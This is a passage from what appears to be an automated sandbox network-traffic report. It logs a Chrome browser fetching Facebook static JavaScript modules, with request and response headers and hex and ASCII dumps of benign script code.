2024-01-17 23:34:56 UTC	1500	IN	Data Raw: 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 74 72 79 7b 76 61 72 20 61 3b 61 3d 28 28 61 3d 77 69 6e 64 6f 77 2e 49 6e 74 6c 29 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 61 2e 44 61 74 65 54 69 6d 65 46 6f 72 6d 61 74 29 26 26 49 6e 74 6c 2e 44 61 74 65 54 69 6d 65 46 6f 72 6d 61 74 28 29 3b 61 3d 28 61 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 61 2e 72 65 73 6f 6c 76 65 64 4f 70 74 69 6f 6e 73 29 26 26 61 2e 72 65 73 6f 6c 76 65 64 4f 70 74 69 6f 6e 73 28 29 3b 72 65 74 75 72 6e 20 61 3d 3d 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 61 2e 74 69 6d 65 5a 6f 6e 65 7d 63 61 74 63 68 28 61 29 7b 63 28 22 46 42 4c 6f 67 67 65 72 22 29 28 22 54 69 6d 65 7a 6f 6e 65 41 Data Ascii: nction(a,b,c,d,e,f,g){"use strict";function a(){try{var a;a=((a=window.Intl)==null?void 0:a.DateTimeFormat)&&Intl.DateTimeFormat();a=(a==null?void 0:a.resolvedOptions)&&a.resolvedOptions();return a==null?void 0:a.timeZone}catch(a){c("FBLogger")("TimezoneA
2024-01-17 23:34:56 UTC	4165	IN	Data Raw: 6e 67 74 68 3d 3d 3d 30 29 72 65 74 75 72 6e 20 62 2e 6c 65 6e 67 74 68 3b 69 66 28 62 2e 6c 65 6e 67 74 68 3d 3d 3d 30 29 72 65 74 75 72 6e 20 61 2e 6c 65 6e 67 74 68 3b 69 66 28 61 3d 3d 3d 62 29 72 65 74 75 72 6e 20 30 3b 76 61 72 20 63 2c 64 2c 65 3d 5b 5d 3b 65 5b 30 5d 3d 5b 5d 3b 65 5b 31 5d 3d 5b 5d 3b 65 5b 32 5d 3d 5b 5d 3b 66 6f 72 28 64 3d 30 3b 64 3c 3d 62 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 65 5b 30 5d 5b 64 5d 3d 64 3b 66 6f 72 28 63 3d 31 3b 63 3c 3d 61 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 66 6f 72 28 64 3d 31 3b 64 3c 3d 62 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 65 5b 63 25 33 5d 5b 30 5d 3d 63 3b 76 61 72 20 66 3d 61 2e 63 68 61 72 41 74 28 63 2d 31 29 3d 3d 3d 62 2e 63 68 61 72 41 74 28 64 2d 31 29 3f 30 3a 31 3b 65 5b 63 25 33 5d 5b 64 Data Ascii: ngth===0)return b.length;if(b.length===0)return a.length;if(a===b)return 0;var c,d,e=[];e[0]=[];e[1]=[];e[2]=[];for(d=0;d<=b.length;d++)e[0][d]=d;for(c=1;c<=a.length;c++)for(d=1;d<=b.length;d++){e[c%3][0]=c;var f=a.charAt(c-1)===b.charAt(d-1)?0:1;e[c%3][d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	49834	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:56 UTC	599	OUT	GET /rsrc.php/v3/ym/r/RxPOZF3XHzp.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:56 UTC	1229	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: WkFsdQ7x15MnYl195tpb+Q== Expires: Fri, 03 Jan 2025 19:43:27 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), keyboard-map=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: HOaal5PI23Mu3P+Rd5IWfJXdfvwHKpyONG9mNMIQkvU0plwPB3GQSjd+JcmwvGqEP9RFnHgab8oOR7xO8RpE6w== Date: Wed, 17 Jan 2024 23:34:56 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 1113
2024-01-17 23:34:56 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:56 UTC	1112	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 63 61 6d 65 6c 69 7a 65 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 76 61 72 20 67 3d 2f 2d 28 2e 29 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 61 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 72 65 70 6c 61 63 65 28 67 2c 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 62 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 7d 29 7d 66 5b 22 64 65 66 61 75 6c 74 22 5d 3d 61 7d 29 2c 36 36 29 3b 0a 5f 5f 64 28 22 68 79 70 68 65 6e 61 74 65 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 76 61 72 20 67 3d 2f 28 5b 41 2d 5a 5d 29 2f 67 3b 66 75 6e 63 74 69 6f 6e 20 61 28 61 29 7b 72 65 74 75 72 6e 20 61 2e 72 65 70 6c 61 63 Data Ascii: /FB_PKG_DELIM/__d("camelize",[],(function(a,b,c,d,e,f){var g=/-(.)/g;function a(a){return a.replace(g,function(a,b){return b.toUpperCase()})}f["default"]=a}),66);__d("hyphenate",[],(function(a,b,c,d,e,f){var g=/([A-Z])/g;function a(a){return a.replac

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.6	49840	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:56 UTC	599	OUT	GET /rsrc.php/v3/yr/r/bHmuPlLj85H.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:57 UTC	1230	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: OeTa1fhRvdFpmTE/VQnIGQ== Expires: Sat, 11 Jan 2025 20:29:31 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: GFg2dxWXfMZhz3XhdRsm9mYrL/k3jR8CgG4mgWaGrcjWaMdCuUqFL1Fch/zEZjPTLt1nbXM4uM8+jkRPxwr61A== Date: Wed, 17 Jan 2024 23:34:57 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 15696
2024-01-17 23:34:57 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:57 UTC	1500	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 4b 65 79 73 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 4f 62 6a 65 63 74 2e 66 72 65 65 7a 65 28 7b 42 41 43 4b 53 50 41 43 45 3a 38 2c 54 41 42 3a 39 2c 52 45 54 55 52 4e 3a 31 33 2c 53 48 49 46 54 3a 31 36 2c 43 54 52 4c 3a 31 37 2c 41 4c 54 3a 31 38 2c 50 41 55 53 45 5f 42 52 45 41 4b 3a 31 39 2c 43 41 50 53 5f 4c 4f 43 4b 3a 32 30 2c 45 53 43 3a 32 37 2c 53 50 41 43 45 3a 33 32 2c 50 41 47 45 5f 55 50 3a 33 33 2c 50 41 47 45 5f 44 4f 57 4e 3a 33 34 2c 45 4e 44 3a 33 35 2c 48 4f 4d 45 3a 33 36 2c 4c 45 46 54 3a 33 37 2c 55 50 3a 33 38 2c 52 49 47 48 54 3a 33 39 2c 44 4f 57 4e 3a 34 30 2c 49 4e 53 45 Data Ascii: /FB_PKG_DELIM/__d("Keys",[],(function(a,b,c,d,e,f){"use strict";a=Object.freeze({BACKSPACE:8,TAB:9,RETURN:13,SHIFT:16,CTRL:17,ALT:18,PAUSE_BREAK:19,CAPS_LOCK:20,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,INSE
2024-01-17 23:34:57 UTC	14195	IN	Data Raw: 6d 65 6e 74 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 62 3d 63 28 22 69 73 43 6f 6e 74 65 6e 74 45 64 69 74 61 62 6c 65 22 29 28 61 29 2c 64 3d 68 2e 68 61 73 28 61 2e 6e 6f 64 65 4e 61 6d 65 29 3b 61 3d 61 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 26 26 69 2e 68 61 73 28 61 2e 74 79 70 65 29 3b 72 65 74 75 72 6e 28 62 7c 7c 64 29 26 26 21 61 7d 67 5b 22 64 65 66 61 75 6c 74 22 5d 3d 61 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 67 65 74 4f 70 61 63 69 74 79 53 74 79 6c 65 4e 61 6d 65 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 76 61 72 20 67 3d 21 31 2c 68 3d 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 69 66 28 21 67 29 7b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 Data Ascii: ment)return!1;var b=c("isContentEditable")(a),d=h.has(a.nodeName);a=a instanceof HTMLInputElement&&i.has(a.type);return(b\|\|d)&&!a}g["default"]=a}),98);__d("getOpacityStyleName",[],(function(a,b,c,d,e,f){var g=!1,h=null;function a(){if(!g){if(document.bod

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.6	49839	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:56 UTC	599	OUT	GET /rsrc.php/v3/y2/r/3FPJ9YC_wUr.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:57 UTC	1244	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: GPA7ZoPuvv7IL4qzYt3uAQ== Expires: Thu, 16 Jan 2025 17:15:00 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), fullscreen=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: kjEBQfPrYiw4lPOWo6zcw6oQt97wIs7f4O+Uw5e9MPeVOv6xpfIhZ1PCvtJp/sQryzHw/2DLH896qJEeVatqDA== Date: Wed, 17 Jan 2024 23:34:57 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 1149
2024-01-17 23:34:57 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:57 UTC	1148	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 74 68 72 6f 74 74 6c 65 22 2c 5b 22 54 69 6d 65 53 6c 69 63 65 22 2c 22 54 69 6d 65 53 6c 69 63 65 49 6e 74 65 72 61 63 74 69 6f 6e 53 56 22 2c 22 73 65 74 54 69 6d 65 6f 75 74 22 2c 22 73 65 74 54 69 6d 65 6f 75 74 41 63 72 6f 73 73 54 72 61 6e 73 69 74 69 6f 6e 73 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 61 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 68 28 61 2c 62 2c 64 2c 63 28 22 73 65 74 54 69 6d 65 6f 75 74 22 29 2c 21 31 29 7d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 61 2c 7b 61 63 72 6f 73 73 54 72 61 6e 73 69 74 69 6f 6e 73 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 64 29 7b 72 65 74 75 72 6e 20 68 28 61 2c Data Ascii: /FB_PKG_DELIM/__d("throttle",["TimeSlice","TimeSliceInteractionSV","setTimeout","setTimeoutAcrossTransitions"],(function(a,b,c,d,e,f,g){function a(a,b,d){return h(a,b,d,c("setTimeout"),!1)}Object.assign(a,{acrossTransitions:function(a,b,d){return h(a,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.6	49842	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:57 UTC	599	OUT	GET /rsrc.php/v3/yC/r/M08arqdo_nN.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:57 UTC	1229	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: tMegDj7Kq7yMmwaz9DyN8g== Expires: Fri, 03 Jan 2025 03:16:40 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), keyboard-map=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: J8jRADbp798OhwXRKzuiqziGveeAabReN2dZ03fzkaqg6dKTpaE8UQFwaiR0QDbyNESIBG2JoinoekBFBDPbuA== Date: Wed, 17 Jan 2024 23:34:57 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 1622
2024-01-17 23:34:57 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:57 UTC	1621	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 71 75 65 72 79 54 68 65 6e 4d 75 74 61 74 65 44 4f 4d 22 2c 5b 22 45 72 72 6f 72 55 74 69 6c 73 22 2c 22 52 75 6e 22 2c 22 54 69 6d 65 53 6c 69 63 65 22 2c 22 65 6d 70 74 79 46 75 6e 63 74 69 6f 6e 22 2c 22 67 6b 78 22 2c 22 72 65 71 75 65 73 74 41 6e 69 6d 61 74 69 6f 6e 46 72 61 6d 65 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 76 61 72 20 67 2c 68 2c 69 2c 6a 3d 5b 5d 2c 6b 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6c 28 61 2c 63 2c 64 29 7b 69 66 28 21 61 26 26 21 63 29 72 65 74 75 72 6e 7b 63 61 6e 63 65 6c 3a 62 28 22 65 6d 70 74 79 46 75 6e 63 74 69 6f 6e 22 29 7d 3b 69 66 28 64 26 26 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 Data Ascii: /FB_PKG_DELIM/__d("queryThenMutateDOM",["ErrorUtils","Run","TimeSlice","emptyFunction","gkx","requestAnimationFrame"],(function(a,b,c,d,e,f){var g,h,i,j=[],k={};function l(a,c,d){if(!a&&!c)return{cancel:b("emptyFunction")};if(d&&Object.prototype.hasOw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.6	49844	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:57 UTC	599	OUT	GET /rsrc.php/v3/yE/r/_BJqgRg0BU5.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:57 UTC	1230	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: FpcRYmGzR+fR9KEcVE6Tvw== Expires: Thu, 16 Jan 2025 18:30:27 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: KwsXlYXEOA+iR3tmx4W2BSQc4HIs1SAOUI7UVk/rwpRHIgeJZirHs49QH3/WTgaLwuSZBFruf/pAzOxp9TG73Q== Date: Wed, 17 Jan 2024 23:34:57 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 35625
2024-01-17 23:34:57 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:57 UTC	1500	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 42 61 6e 7a 61 69 57 57 57 22 2c 5b 22 63 72 3a 31 36 34 32 37 39 37 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 67 5b 22 64 65 66 61 75 6c 74 22 5d 3d 62 28 22 63 72 3a 31 36 34 32 37 39 37 22 29 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 42 61 6e 7a 61 69 55 74 69 6c 73 22 2c 5b 22 42 61 6e 7a 61 69 43 6f 6e 73 74 73 22 2c 22 43 75 72 72 65 6e 74 55 73 65 72 22 2c 22 46 42 4c 6f 67 67 65 72 22 2c 22 57 65 62 53 65 73 73 69 6f 6e 22 2c 22 70 65 72 66 6f 72 6d 61 6e 63 65 41 62 73 6f 6c 75 74 65 4e 6f 77 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 67 2c 68 2c 69 3d 7b Data Ascii: /FB_PKG_DELIM/__d("BanzaiWWW",["cr:1642797"],(function(a,b,c,d,e,f,g){g["default"]=b("cr:1642797")}),98);__d("BanzaiUtils",["BanzaiConsts","CurrentUser","FBLogger","WebSession","performanceAbsoluteNow"],(function(a,b,c,d,e,f){"use strict";var g,h,i={
2024-01-17 23:34:57 UTC	14972	IN	Data Raw: 31 3b 65 2e 5f 5f 6d 65 74 61 2e 72 65 74 72 79 21 3d 3d 21 30 26 26 63 3e 3d 34 30 30 26 26 63 3c 36 30 30 26 26 64 2e 70 75 73 68 28 61 29 7d 2c 77 72 61 70 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 63 2c 64 2c 65 2c 66 29 7b 64 3d 5b 61 2c 63 2c 64 2c 30 2c 28 61 3d 66 29 21 3d 6e 75 6c 6c 3f 61 3a 63 3f 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 63 29 2e 6c 65 6e 67 74 68 3a 30 5d 3b 64 2e 5f 5f 6d 65 74 61 3d 7b 61 70 70 49 44 3a 62 28 22 43 75 72 72 65 6e 74 55 73 65 72 22 29 2e 67 65 74 41 70 70 49 44 28 29 2c 72 65 74 72 79 3a 65 3d 3d 3d 21 30 2c 73 74 61 74 75 73 3a 28 68 7c 7c 28 68 3d 62 28 22 42 61 6e 7a 61 69 43 6f 6e 73 74 73 22 29 29 29 2e 50 4f 53 54 5f 52 45 41 44 59 2c 75 73 65 72 49 44 3a 62 28 22 43 75 72 72 65 6e 74 55 73 65 Data Ascii: 1;e.__meta.retry!==!0&&c>=400&&c<600&&d.push(a)},wrapData:function(a,c,d,e,f){d=[a,c,d,0,(a=f)!=null?a:c?JSON.stringify(c).length:0];d.__meta={appID:b("CurrentUser").getAppID(),retry:e===!0,status:(h\|\|(h=b("BanzaiConsts"))).POST_READY,userID:b("CurrentUse
2024-01-17 23:34:57 UTC	16384	IN	Data Raw: 64 64 54 6f 51 75 65 75 65 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 64 2c 65 2c 66 2c 67 2c 6a 2c 6b 29 7b 69 66 28 28 68 7c 7c 28 68 3d 63 28 22 43 6f 6f 6b 69 65 43 6f 6e 73 65 6e 74 22 29 29 29 2e 68 61 73 43 6f 6e 73 65 6e 74 28 31 29 29 7b 66 3f 63 28 22 43 6f 6f 6b 69 65 22 29 2e 73 65 74 57 69 74 68 6f 75 74 43 68 65 63 6b 73 49 66 46 69 72 73 74 50 61 72 74 79 43 6f 6e 74 65 78 74 28 61 2c 62 2c 64 2c 65 2c 6a 2c 6b 29 3a 63 28 22 43 6f 6f 6b 69 65 22 29 2e 73 65 74 57 69 74 68 6f 75 74 43 68 65 63 6b 73 28 61 2c 62 2c 64 2c 65 2c 6a 2c 6b 29 3b 72 65 74 75 72 6e 7d 69 66 28 69 2e 68 61 73 28 61 29 29 72 65 74 75 72 6e 3b 69 2e 73 65 74 28 61 2c 7b 6e 61 6d 65 3a 61 2c 76 61 6c 75 65 3a 62 2c 6e 4d 69 6c 6c 69 53 65 63 73 3a 64 2c 70 61 74 68 3a Data Ascii: ddToQueue:function(a,b,d,e,f,g,j,k){if((h\|\|(h=c("CookieConsent"))).hasConsent(1)){f?c("Cookie").setWithoutChecksIfFirstPartyContext(a,b,d,e,j,k):c("Cookie").setWithoutChecks(a,b,d,e,j,k);return}if(i.has(a))return;i.set(a,{name:a,value:b,nMilliSecs:d,path:
2024-01-17 23:34:57 UTC	2768	IN	Data Raw: 61 69 41 64 61 70 74 65 72 22 29 2e 63 6c 65 61 6e 75 70 28 29 3b 62 28 22 42 61 6e 7a 61 69 41 64 61 70 74 65 72 22 29 2e 69 6e 66 6f 72 6d 28 28 6a 7c 7c 28 6a 3d 62 28 22 42 61 6e 7a 61 69 43 6f 6e 73 74 73 22 29 29 29 2e 53 48 55 54 44 4f 57 4e 29 3b 6d 2e 6c 65 6e 67 74 68 3e 30 26 26 28 28 21 6f 2e 61 64 61 70 74 65 72 2e 75 73 65 42 65 61 63 6f 6e 7c 7c 21 6f 2e 5f 74 72 79 54 6f 53 65 6e 64 56 69 61 42 65 61 63 6f 6e 28 29 29 26 26 6f 2e 5f 73 74 6f 72 65 28 29 29 7d 2c 42 41 53 49 43 3a 7b 64 65 6c 61 79 3a 62 28 22 42 61 6e 7a 61 69 41 64 61 70 74 65 72 22 29 2e 63 6f 6e 66 69 67 2e 4d 41 58 5f 57 41 49 54 7c 7c 28 6a 7c 7c 28 6a 3d 62 28 22 42 61 6e 7a 61 69 43 6f 6e 73 74 73 22 29 29 29 2e 42 41 53 49 43 5f 57 41 49 54 7d 2c 42 41 53 49 43 5f Data Ascii: aiAdapter").cleanup();b("BanzaiAdapter").inform((j\|\|(j=b("BanzaiConsts"))).SHUTDOWN);m.length>0&&((!o.adapter.useBeacon\|\|!o._tryToSendViaBeacon())&&o._store())},BASIC:{delay:b("BanzaiAdapter").config.MAX_WAIT\|\|(j\|\|(j=b("BanzaiConsts"))).BASIC_WAIT},BASIC_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.6	49843	142.251.163.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
